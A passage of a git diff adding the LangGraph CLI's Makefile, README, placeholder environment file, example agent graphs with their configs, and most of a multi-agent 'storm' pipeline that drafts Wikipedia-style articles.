+SOFTWARE. diff --git a/libs/cli/Makefile b/libs/cli/Makefile new file mode 100644 index 0000000..c90376f --- /dev/null +++ b/libs/cli/Makefile @@ -0,0 +1,41 @@ +.PHONY: test lint type format test-integration update-schema bump-version + +###################### +# TESTING AND COVERAGE +###################### + +TEST?= "tests/unit_tests" +test: + uv run pytest $(TEST) +test-integration: + uv run pytest tests/integration_tests + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') +lint_package: PYTHON_FILES=langgraph_cli +lint_tests: PYTHON_FILES=tests + +lint lint_diff lint_package lint_tests: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + [ "$(PYTHON_FILES)" = "" ] || uv run ty check $(PYTHON_FILES) + +type: + uv run ty check $(PYTHON_FILES) + +format format_diff: + uv run ruff format $(PYTHON_FILES) + uv run ruff check --select I --fix $(PYTHON_FILES) + +update-schema: + uv run python generate_schema.py + +bump-version: + uv run hatch version patch diff --git a/libs/cli/README.md b/libs/cli/README.md new file mode 100644 index 0000000..cac7808 --- /dev/null +++ b/libs/cli/README.md @@ -0,0 +1,136 @@ +# LangGraph CLI + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-cli?label=%20)](https://pypi.org/project/langgraph-cli/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-cli)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-cli)](https://pypistats.org/packages/langgraph-cli) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-cli +``` + +## 🤔 What is this? + +The LangGraph CLI is the official command-line interface for LangGraph. It provides tools to create, develop, build, and run LangGraph applications locally or in Docker. + +## 📖 Documentation + +For full documentation, see the [LangGraph CLI reference](https://reference.langchain.com/python/langgraph-cli). For conceptual guides and tutorials, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +For development mode with hot reloading: + +```bash +uv add "langgraph-cli[inmem]" +``` + +## Commands + +### `langgraph new` 🌱 + +Create a new LangGraph project from a template. + +```bash +langgraph new [PATH] --template TEMPLATE_NAME +``` + +### `langgraph dev` 🏃‍♀️ + +Run LangGraph API server in development mode with hot reloading. + +```bash +langgraph dev [OPTIONS] + --host TEXT Host to bind to (default: 127.0.0.1) + --port INTEGER Port to bind to (default: 2024) + --no-reload Disable auto-reload + --debug-port INTEGER Enable remote debugging + --no-browser Skip opening browser window + -c, --config FILE Config file path (default: langgraph.json) +``` + +### `langgraph up` 🚀 + +Launch LangGraph API server in Docker. + +```bash +langgraph up [OPTIONS] + -p, --port INTEGER Port to expose (default: 8123) + --wait Wait for services to start + --watch Restart on file changes + --verbose Show detailed logs + -c, --config FILE Config file path + -d, --docker-compose Additional services file +``` + +### `langgraph build` + +Build a Docker image for your LangGraph application. + +```bash +langgraph build -t IMAGE_TAG [OPTIONS] + --platform TEXT Target platforms (e.g., linux/amd64,linux/arm64) + --pull / --no-pull Use latest/local base image + -c, --config FILE Config file path +``` + +### `langgraph dockerfile` + +Generate a Dockerfile for custom deployments. + +```bash +langgraph dockerfile SAVE_PATH [OPTIONS] + -c, --config FILE Config file path +``` + +## Configuration + +The CLI uses a `langgraph.json` configuration file with these key settings: + +```json +{ + "dependencies": ["langchain_openai", "./your_package"], + "graphs": { + "my_graph": "./your_package/file.py:graph" + }, + "env": "./.env", + "python_version": "3.11", + "pip_config_file": "./pip.conf", + "dockerfile_lines": [] +} +``` + +See the [full documentation](https://reference.langchain.com/python/langgraph-cli) for detailed configuration options. + +## Development + +To develop the CLI itself: + +1. Clone the repository +2. Navigate to the CLI directory: `cd libs/cli` +3. Install development dependencies: `uv sync` +4. Make your changes to the CLI code +5. Test your changes: + +```bash +# Run CLI commands directly +uv run langgraph --help + +# Or use the examples +cd examples +uv sync +uv run langgraph dev # or other commands +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/cli/examples/.env.example b/libs/cli/examples/.env.example new file mode 100644 index 0000000..d964910 --- /dev/null +++ b/libs/cli/examples/.env.example @@ -0,0 +1,3 @@ +OPENAI_API_KEY=placeholder +ANTHROPIC_API_KEY=placeholder +TAVILY_API_KEY=placeholder diff --git a/libs/cli/examples/.gitignore b/libs/cli/examples/.gitignore new file mode 100644 index 0000000..8bbdbd2 --- /dev/null +++ b/libs/cli/examples/.gitignore @@ -0,0 +1 @@ +.langgraph-data diff --git a/libs/cli/examples/Makefile b/libs/cli/examples/Makefile new file mode 100644 index 0000000..a2b91ff --- /dev/null +++ b/libs/cli/examples/Makefile @@ -0,0 +1,13 @@ +.PHONY: run_w_override + +run: + uv run langgraph up --watch --no-pull + +run_faux: + cd graphs && uv run langgraph up --no-pull + +run_graphs_reqs_a: + cd graphs_reqs_a && uv run langgraph up --no-pull + +run_graphs_reqs_b: + cd graphs_reqs_b && uv run langgraph up --no-pull diff --git a/libs/cli/examples/graph_prerelease_reqs/agent.py b/libs/cli/examples/graph_prerelease_reqs/agent.py new file mode 100644 index 0000000..57d8543 --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs/agent.py @@ -0,0 +1,88 @@ +from collections.abc import Sequence +from typing import Annotated, Literal, TypedDict + +from langchain_core.messages import BaseMessage +from langchain_openai import ChatOpenAI +from langgraph.graph import END, StateGraph, add_messages +from langgraph.prebuilt import ToolNode + +tools = [] + +model_oai = ChatOpenAI(temperature=0) + +model_oai = model_oai.bind_tools(tools) + + +class AgentState(TypedDict): + messages: Annotated[Sequence[BaseMessage], add_messages] + + +# Define the function that determines whether to continue or not +def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + # If there are no tool calls, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + +# Define the function that calls the model +def call_model(state, config): + model = model_oai + messages = state["messages"] + response = model.invoke(messages) + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + +# Define the function to execute tools +tool_node = ToolNode(tools) + + +class ContextSchema(TypedDict): + model: Literal["anthropic", "openai"] + + +# Define a new graph +workflow = StateGraph(AgentState, context_schema=ContextSchema) + +# Define the two nodes we will cycle between +workflow.add_node("agent", call_model) +workflow.add_node("action", tool_node) + +# Set the entrypoint as `agent` +# This means that this node is the first one called +workflow.set_entry_point("agent") + +# We now add a conditional edge +workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "action", + # Otherwise we finish. + "end": END, + }, +) + +# We now add a normal edge from `tools` to `agent`. +# This means that after `tools` is called, `agent` node is called next. +workflow.add_edge("action", "agent") + +# Finally, we compile it! +# This compiles it into a LangChain Runnable, +# meaning you can use it as you would any other runnable +graph = workflow.compile() diff --git a/libs/cli/examples/graph_prerelease_reqs/deps/additional_deps/pyproject.toml b/libs/cli/examples/graph_prerelease_reqs/deps/additional_deps/pyproject.toml new file mode 100644 index 0000000..dedd48b --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs/deps/additional_deps/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "graph-prerelease-reqs-additional-deps" +version = "0.1.0" +description = "Test for prerelease stuff" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "langgraph==1.1.5" +] \ No newline at end of file diff --git a/libs/cli/examples/graph_prerelease_reqs/deps/zuper_deps/pyproject.toml b/libs/cli/examples/graph_prerelease_reqs/deps/zuper_deps/pyproject.toml new file mode 100644 index 0000000..4e777c1 --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs/deps/zuper_deps/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "graph-prerelease-reqs-zuper-deps" +version = "0.1.0" +description = "Test for prerelease stuff" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "langchain-openai==1.1.14" +] \ No newline at end of file diff --git a/libs/cli/examples/graph_prerelease_reqs/langgraph.json b/libs/cli/examples/graph_prerelease_reqs/langgraph.json new file mode 100644 index 0000000..6d3a7b9 --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs/langgraph.json @@ -0,0 +1,13 @@ +{ + "python_version": "3.12", + "dependencies": [ + ".", + "./deps/additional_deps", + "./deps/zuper_deps" + ], + "graphs": { + "agent": "./agent.py:graph" + }, + "env": "../.env" + } + \ No newline at end of file diff --git a/libs/cli/examples/graph_prerelease_reqs/pyproject.toml b/libs/cli/examples/graph_prerelease_reqs/pyproject.toml new file mode 100644 index 0000000..0ddd022 --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs/pyproject.toml @@ -0,0 +1,14 @@ +[project] +name = "graph-prerelease-reqs" +version = "0.1.0" +description = "Test for prerelease stuff" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "langchain-openai==1.1.14", + "langchain-anthropic==1.4.6", + "langgraph==1.1.5" +] + +[tool.uv] +prerelease = "allow" diff --git a/libs/cli/examples/graph_prerelease_reqs_fail/agent.py b/libs/cli/examples/graph_prerelease_reqs_fail/agent.py new file mode 100644 index 0000000..4801c7c --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs_fail/agent.py @@ -0,0 +1,89 @@ +from collections.abc import Sequence +from typing import Annotated, Literal, TypedDict + +from langchain_community.tools.tavily_search import TavilySearchResults +from langchain_core.messages import BaseMessage +from langchain_openai import ChatOpenAI +from langgraph.graph import END, StateGraph, add_messages +from langgraph.prebuilt import ToolNode + +tools = [TavilySearchResults(max_results=1)] + +model_oai = ChatOpenAI(temperature=0) + +model_oai = model_oai.bind_tools(tools) + + +class AgentState(TypedDict): + messages: Annotated[Sequence[BaseMessage], add_messages] + + +# Define the function that determines whether to continue or not +def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + # If there are no tool calls, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + +# Define the function that calls the model +def call_model(state, config): + model = model_oai + messages = state["messages"] + response = model.invoke(messages) + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + +# Define the function to execute tools +tool_node = ToolNode(tools) + + +class ContextSchema(TypedDict): + model: Literal["anthropic", "openai"] + + +# Define a new graph +workflow = StateGraph(AgentState, context_schema=ContextSchema) + +# Define the two nodes we will cycle between +workflow.add_node("agent", call_model) +workflow.add_node("action", tool_node) + +# Set the entrypoint as `agent` +# This means that this node is the first one called +workflow.set_entry_point("agent") + +# We now add a conditional edge +workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "action", + # Otherwise we finish. + "end": END, + }, +) + +# We now add a normal edge from `tools` to `agent`. +# This means that after `tools` is called, `agent` node is called next. +workflow.add_edge("action", "agent") + +# Finally, we compile it! +# This compiles it into a LangChain Runnable, +# meaning you can use it as you would any other runnable +graph = workflow.compile() diff --git a/libs/cli/examples/graph_prerelease_reqs_fail/langgraph.json b/libs/cli/examples/graph_prerelease_reqs_fail/langgraph.json new file mode 100644 index 0000000..8bc7d8b --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs_fail/langgraph.json @@ -0,0 +1,11 @@ +{ + "python_version": "3.12", + "dependencies": [ + "." + ], + "graphs": { + "agent": "./agent.py:graph" + }, + "env": "../.env" + } + \ No newline at end of file diff --git a/libs/cli/examples/graph_prerelease_reqs_fail/pyproject.toml b/libs/cli/examples/graph_prerelease_reqs_fail/pyproject.toml new file mode 100644 index 0000000..08acf1f --- /dev/null +++ b/libs/cli/examples/graph_prerelease_reqs_fail/pyproject.toml @@ -0,0 +1,11 @@ +[project] +name = "graph-prerelease-reqs" +version = "0.1.0" +description = "Test for prerelease stuff" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "langchain-openai==1.1.14", + "langgraph==1.1.2", + "langchain_community>=0.3.0", +] \ No newline at end of file diff --git a/libs/cli/examples/graphs/agent.py b/libs/cli/examples/graphs/agent.py new file mode 100644 index 0000000..9319820 --- /dev/null +++ b/libs/cli/examples/graphs/agent.py @@ -0,0 +1,96 @@ +from collections.abc import Sequence +from typing import Annotated, Literal, TypedDict + +from langchain_anthropic import ChatAnthropic +from langchain_community.tools.tavily_search import TavilySearchResults +from langchain_core.messages import BaseMessage +from langchain_openai import ChatOpenAI +from langgraph.graph import END, StateGraph, add_messages +from langgraph.prebuilt import ToolNode +from langgraph.runtime import Runtime + +tools = [TavilySearchResults(max_results=1)] + +model_anth = ChatAnthropic(temperature=0, model_name="claude-3-sonnet-20240229") +model_oai = ChatOpenAI(temperature=0) + +model_anth = model_anth.bind_tools(tools) +model_oai = model_oai.bind_tools(tools) + + +class AgentContext(TypedDict): + model: Literal["anthropic", "openai"] + + +class AgentState(TypedDict): + messages: Annotated[Sequence[BaseMessage], add_messages] + + +# Define the function that determines whether to continue or not +def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + # If there are no tool calls, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + +# Define the function that calls the model +def call_model(state, runtime: Runtime[AgentContext]): + if runtime.context.get("model", "anthropic") == "anthropic": + model = model_anth + else: + model = model_oai + messages = state["messages"] + response = model.invoke(messages) + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + +# Define the function to execute tools +tool_node = ToolNode(tools) + + +# Define a new graph +workflow = StateGraph(AgentState, context_schema=AgentContext) + +# Define the two nodes we will cycle between +workflow.add_node("agent", call_model) +workflow.add_node("action", tool_node) + +# Set the entrypoint as `agent` +# This means that this node is the first one called +workflow.set_entry_point("agent") + +# We now add a conditional edge +workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "action", + # Otherwise we finish. + "end": END, + }, +) + +# We now add a normal edge from `tools` to `agent`. +# This means that after `tools` is called, `agent` node is called next. +workflow.add_edge("action", "agent") + +# Finally, we compile it! +# This compiles it into a LangChain Runnable, +# meaning you can use it as you would any other runnable +graph = workflow.compile() diff --git a/libs/cli/examples/graphs/langgraph.json b/libs/cli/examples/graphs/langgraph.json new file mode 100644 index 0000000..fce75dd --- /dev/null +++ b/libs/cli/examples/graphs/langgraph.json @@ -0,0 +1,17 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "python_version": "3.12", + "dependencies": [ + "langchain_community", + "langchain_anthropic", + "langchain_openai", + "wikipedia", + "scikit-learn", + "." + ], + "graphs": { + "agent": "./agent.py:graph", + "storm": "./storm.py:graph" + }, + "env": "../.env" +} diff --git a/libs/cli/examples/graphs/storm.py b/libs/cli/examples/graphs/storm.py new file mode 100644 index 0000000..ccacc9c --- /dev/null +++ b/libs/cli/examples/graphs/storm.py @@ -0,0 +1,636 @@ +import asyncio +import json +from typing import Annotated + +from langchain_community.retrievers import WikipediaRetriever +from langchain_community.tools.tavily_search import TavilySearchResults +from langchain_community.vectorstores import SKLearnVectorStore +from langchain_core.documents import Document +from langchain_core.messages import ( + AIMessage, + AnyMessage, + HumanMessage, + ToolMessage, +) +from langchain_core.output_parsers import StrOutputParser +from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder +from langchain_core.runnables import RunnableConfig, RunnableLambda +from langchain_core.runnables import chain as as_runnable +from langchain_core.tools import tool +from langchain_openai import ChatOpenAI, OpenAIEmbeddings +from langgraph.graph import END, StateGraph +from pydantic import BaseModel, Field +from typing_extensions import TypedDict + +fast_llm = ChatOpenAI(model="gpt-4o-mini") +# Uncomment for a Fireworks model +# fast_llm = ChatFireworks(model="accounts/fireworks/models/firefunction-v1", max_tokens=32_000) +long_context_llm = ChatOpenAI(model="gpt-4o") + + +direct_gen_outline_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + "You are a Wikipedia writer. Write an outline for a Wikipedia page about a user-provided topic. Be comprehensive and specific.", + ), + ("user", "{topic}"), + ] +) + + +class Subsection(BaseModel): + subsection_title: str = Field(..., title="Title of the subsection") + description: str = Field(..., title="Content of the subsection") + + @property + def as_str(self) -> str: + return f"### {self.subsection_title}\n\n{self.description}".strip() + + +class Section(BaseModel): + section_title: str = Field(..., title="Title of the section") + description: str = Field(..., title="Content of the section") + subsections: list[Subsection] | None = Field( + default=None, + title="Titles and descriptions for each subsection of the Wikipedia page.", + ) + + @property + def as_str(self) -> str: + subsections = "\n\n".join( + f"### {subsection.subsection_title}\n\n{subsection.description}" + for subsection in self.subsections or [] + ) + return f"## {self.section_title}\n\n{self.description}\n\n{subsections}".strip() + + +class Outline(BaseModel): + page_title: str = Field(..., title="Title of the Wikipedia page") + sections: list[Section] = Field( + default_factory=list, + title="Titles and descriptions for each section of the Wikipedia page.", + ) + + @property + def as_str(self) -> str: + sections = "\n\n".join(section.as_str for section in self.sections) + return f"# {self.page_title}\n\n{sections}".strip() + + +generate_outline_direct = direct_gen_outline_prompt | fast_llm.with_structured_output( + Outline +) + +gen_related_topics_prompt = ChatPromptTemplate.from_template( + """I'm writing a Wikipedia page for a topic mentioned below. Please identify and recommend some Wikipedia pages on closely related subjects. I'm looking for examples that provide insights into interesting aspects commonly associated with this topic, or examples that help me understand the typical content and structure included in Wikipedia pages for similar topics. + +Please list the as many subjects and urls as you can. + +Topic of interest: {topic} +""" +) + + +class RelatedSubjects(BaseModel): + topics: list[str] = Field( + description="Comprehensive list of related subjects as background research.", + ) + + +expand_chain = gen_related_topics_prompt | fast_llm.with_structured_output( + RelatedSubjects +) + + +class Editor(BaseModel): + affiliation: str = Field( + description="Primary affiliation of the editor.", + ) + name: str = Field( + description="Name of the editor.", + ) + role: str = Field( + description="Role of the editor in the context of the topic.", + ) + description: str = Field( + description="Description of the editor's focus, concerns, and motives.", + ) + + @property + def persona(self) -> str: + return f"Name: {self.name}\nRole: {self.role}\nAffiliation: {self.affiliation}\nDescription: {self.description}\n" + + +class Perspectives(BaseModel): + editors: list[Editor] = Field( + description="Comprehensive list of editors with their roles and affiliations.", + # Add a pydantic validation/restriction to be at most M editors + ) + + +gen_perspectives_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + """You need to select a diverse (and distinct) group of Wikipedia editors who will work together to create a comprehensive article on the topic. Each of them represents a different perspective, role, or affiliation related to this topic.\ + You can use other Wikipedia pages of related topics for inspiration. For each editor, add a description of what they will focus on. + + Wiki page outlines of related topics for inspiration: + {examples}""", + ), + ("user", "Topic of interest: {topic}"), + ] +) + +gen_perspectives_chain = gen_perspectives_prompt | ChatOpenAI( + model="gpt-4o-mini" +).with_structured_output(Perspectives) + + +wikipedia_retriever = WikipediaRetriever(load_all_available_meta=True, top_k_results=1) + + +def format_doc(doc, max_length=1000): + related = "- ".join(doc.metadata["categories"]) + return f"### {doc.metadata['title']}\n\nSummary: {doc.page_content}\n\nRelated\n{related}"[ + :max_length + ] + + +def format_docs(docs): + return "\n\n".join(format_doc(doc) for doc in docs) + + +@as_runnable +async def survey_subjects(topic: str): + related_subjects = await expand_chain.ainvoke({"topic": topic}) + retrieved_docs = await wikipedia_retriever.abatch( + related_subjects.topics, return_exceptions=True + ) + all_docs = [] + for docs in retrieved_docs: + if isinstance(docs, BaseException): + continue + all_docs.extend(docs) + formatted = format_docs(all_docs) + return await gen_perspectives_chain.ainvoke({"examples": formatted, "topic": topic}) + + +def add_messages(left, right): + if not isinstance(left, list): + left = [left] + if not isinstance(right, list): + right = [right] + return left + right + + +def update_references(references, new_references): + if not references: + references = {} + references.update(new_references) + return references + + +def update_editor(editor, new_editor): + # Can only set at the outset + if not editor: + return new_editor + return editor + + +class InterviewState(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + references: Annotated[dict | None, update_references] + editor: Annotated[Editor | None, update_editor] + + +gen_qn_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + """You are an experienced Wikipedia writer and want to edit a specific page. \ +Besides your identity as a Wikipedia writer, you have a specific focus when researching the topic. \ +Now, you are chatting with an expert to get information. Ask good questions to get more useful information. + +When you have no more questions to ask, say "Thank you so much for your help!" to end the conversation.\ +Please only ask one question at a time and don't ask what you have asked before.\ +Your questions should be related to the topic you want to write. +Be comprehensive and curious, gaining as much unique insight from the expert as possible.\ + +Stay true to your specific perspective: + +{persona}""", + ), + MessagesPlaceholder(variable_name="messages", optional=True), + ] +) + + +def tag_with_name(ai_message: AIMessage, name: str): + ai_message.name = name.replace(" ", "_").replace(".", "_") + return ai_message + + +def swap_roles(state: InterviewState, name: str): + converted = [] + for message in state["messages"]: + if isinstance(message, AIMessage) and message.name != name: + message = HumanMessage(**message.model_dump(exclude={"type"})) + converted.append(message) + return {"messages": converted} + + +@as_runnable +async def generate_question(state: InterviewState): + editor = state["editor"] + gn_chain = ( + RunnableLambda(swap_roles).bind(name=editor.name) + | gen_qn_prompt.partial(persona=editor.persona) + | fast_llm + | RunnableLambda(tag_with_name).bind(name=editor.name) + ) + result = await gn_chain.ainvoke(state) + return {"messages": [result]} + + +class Queries(BaseModel): + queries: list[str] = Field( + description="Comprehensive list of search engine queries to answer the user's questions.", + ) + + +gen_queries_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + "You are a helpful research assistant. Query the search engine to answer the user's questions.", + ), + MessagesPlaceholder(variable_name="messages", optional=True), + ] +) +gen_queries_chain = gen_queries_prompt | ChatOpenAI( + model="gpt-4o-mini" +).with_structured_output(Queries, include_raw=True) + + +class AnswerWithCitations(BaseModel): + answer: str = Field( + description="Comprehensive answer to the user's question with citations.", + ) + cited_urls: list[str] = Field( + description="List of urls cited in the answer.", + ) + + @property + def as_str(self) -> str: + return f"{self.answer}\n\nCitations:\n\n" + "\n".join( + f"[{i + 1}]: {url}" for i, url in enumerate(self.cited_urls) + ) + + +gen_answer_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + """You are an expert who can use information effectively. You are chatting with a Wikipedia writer who wants\ + to write a Wikipedia page on the topic you know. You have gathered the related information and will now use the information to form a response. + +Make your response as informative as possible and make sure every sentence is supported by the gathered information. +Each response must be backed up by a citation from a reliable source, formatted as a footnote, reproducing the URLS after your response.""", + ), + MessagesPlaceholder(variable_name="messages", optional=True), + ] +) + +gen_answer_chain = gen_answer_prompt | fast_llm.with_structured_output( + AnswerWithCitations, include_raw=True +).with_config(run_name="GenerateAnswer") + + +# Tavily is typically a better search engine, but your free queries are limited +tavily_search = TavilySearchResults(max_results=4) + + +@tool +async def search_engine(query: str): + """Search engine to the internet.""" + results = tavily_search.invoke(query) + return [{"content": r["content"], "url": r["url"]} for r in results] + + +async def gen_answer( + state: InterviewState, + config: RunnableConfig | None = None, + name: str = "Subject_Matter_Expert", + max_str_len: int = 15000, +): + swapped_state = swap_roles(state, name) # Convert all other AI messages + queries = await gen_queries_chain.ainvoke(swapped_state) + query_results = await search_engine.abatch( + queries["parsed"].queries, config, return_exceptions=True + ) + successful_results = [ + res for res in query_results if not isinstance(res, Exception) + ] + all_query_results = { + res["url"]: res["content"] for results in successful_results for res in results + } + # We could be more precise about handling max token length if we wanted to here + dumped = json.dumps(all_query_results)[:max_str_len] + ai_message: AIMessage = queries["raw"] + tool_call = queries["raw"].tool_calls[0] + tool_id = tool_call["id"] + tool_message = ToolMessage(tool_call_id=tool_id, content=dumped) + swapped_state["messages"].extend([ai_message, tool_message]) + # Only update the shared state with the final answer to avoid + # polluting the dialogue history with intermediate messages + generated = await gen_answer_chain.ainvoke(swapped_state) + cited_urls = set(generated["parsed"].cited_urls) + # Save the retrieved information to a the shared state for future reference + cited_references = {k: v for k, v in all_query_results.items() if k in cited_urls} + formatted_message = AIMessage(name=name, content=generated["parsed"].as_str) + return {"messages": [formatted_message], "references": cited_references} + + +max_num_turns = 5 + + +def route_messages(state: InterviewState, name: str = "Subject_Matter_Expert"): + messages = state["messages"] + num_responses = len( + [m for m in messages if isinstance(m, AIMessage) and m.name == name] + ) + if num_responses >= max_num_turns: + return END + last_question = messages[-2] + if last_question.content.endswith("Thank you so much for your help!"): + return END + return "ask_question" + + +builder = StateGraph(InterviewState) + +builder.add_node("ask_question", generate_question) +builder.add_node("answer_question", gen_answer) +builder.add_conditional_edges("answer_question", route_messages) +builder.add_edge("ask_question", "answer_question") + +builder.set_entry_point("ask_question") +interview_graph = builder.compile().with_config(run_name="Conduct Interviews") + +refine_outline_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + """You are a Wikipedia writer. You have gathered information from experts and search engines. Now, you are refining the outline of the Wikipedia page. \ +You need to make sure that the outline is comprehensive and specific. \ +Topic you are writing about: {topic} + +Old outline: + +{old_outline}""", + ), + ( + "user", + "Refine the outline based on your conversations with subject-matter experts:\n\nConversations:\n\n{conversations}\n\nWrite the refined Wikipedia outline:", + ), + ] +) + +# Using turbo preview since the context can get quite long +refine_outline_chain = refine_outline_prompt | long_context_llm.with_structured_output( + Outline +) + + +embeddings = OpenAIEmbeddings(model="text-embedding-3-small") +# reference_docs = [ +# Document(page_content=v, metadata={"source": k}) +# for k, v in final_state["references"].items() +# ] +# # This really doesn't need to be a vectorstore for this size of data. +# # It could just be a numpy matrix. Or you could store documents +# # across requests if you want. +# vectorstore = SKLearnVectorStore.from_documents( +# reference_docs, +# embedding=embeddings, +# ) +# retriever = vectorstore.as_retriever(k=10) + +vectorstore = SKLearnVectorStore(embedding=embeddings) +retriever = vectorstore.as_retriever(k=10) + + +class SubSection(BaseModel): + subsection_title: str = Field(..., title="Title of the subsection") + content: str = Field( + ..., + title="Full content of the subsection. Include [#] citations to the cited sources where relevant.", + ) + + @property + def as_str(self) -> str: + return f"### {self.subsection_title}\n\n{self.content}".strip() + + +class WikiSection(BaseModel): + section_title: str = Field(..., title="Title of the section") + content: str = Field(..., title="Full content of the section") + subsections: list[Subsection] | None = Field( + default=None, + title="Titles and descriptions for each subsection of the Wikipedia page.", + ) + citations: list[str] = Field(default_factory=list) + + @property + def as_str(self) -> str: + subsections = "\n\n".join( + subsection.as_str for subsection in self.subsections or [] + ) + citations = "\n".join([f" [{i}] {cit}" for i, cit in enumerate(self.citations)]) + return ( + f"## {self.section_title}\n\n{self.content}\n\n{subsections}".strip() + + f"\n\n{citations}".strip() + ) + + +section_writer_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + "You are an expert Wikipedia writer. Complete your assigned WikiSection from the following outline:\n\n" + "{outline}\n\nCite your sources, using the following references:\n\n\n{docs}\n", + ), + ("user", "Write the full WikiSection for the {section} section."), + ] +) + + +async def retrieve(inputs: dict): + docs = await retriever.ainvoke(inputs["topic"] + ": " + inputs["section"]) + formatted = "\n".join( + [ + f'\n{doc.page_content}\n' + for doc in docs + ] + ) + return {"docs": formatted, **inputs} + + +section_writer = ( + retrieve + | section_writer_prompt + | long_context_llm.with_structured_output(WikiSection) +) + + +writer_prompt = ChatPromptTemplate.from_messages( + [ + ( + "system", + "You are an expert Wikipedia author. Write the complete wiki article on {topic} using the following section drafts:\n\n" + "{draft}\n\nStrictly follow Wikipedia format guidelines.", + ), + ( + "user", + 'Write the complete Wiki article using markdown format. Organize citations using footnotes like "[1]",' + " avoiding duplicates in the footer. Include URLs in the footer.", + ), + ] +) + +writer = writer_prompt | long_context_llm | StrOutputParser() + + +class ResearchState(TypedDict): + topic: str + outline: Outline + editors: list[Editor] + interview_results: list[InterviewState] + # The final sections output + sections: list[WikiSection] + article: str + + +async def initialize_research(state: ResearchState): + topic = state["topic"] + coros = ( + generate_outline_direct.ainvoke({"topic": topic}), + survey_subjects.ainvoke(topic), + ) + results = await asyncio.gather(*coros) + return { + **state, + "outline": results[0], + "editors": results[1].editors, + } + + +async def conduct_interviews(state: ResearchState): + topic = state["topic"] + initial_states = [ + { + "editor": editor, + "messages": [ + AIMessage( + content=f"So you said you were writing an article on {topic}?", + name="Subject_Matter_Expert", + ) + ], + } + for editor in state["editors"] + ] + # We call in to the sub-graph here to parallelize the interviews + interview_results = await interview_graph.abatch(initial_states) + + return { + **state, + "interview_results": interview_results, + } + + +def format_conversation(interview_state): + messages = interview_state["messages"] + convo = "\n".join(f"{m.name}: {m.content}" for m in messages) + return f"Conversation with {interview_state['editor'].name}\n\n" + convo + + +async def refine_outline(state: ResearchState): + convos = "\n\n".join( + [ + 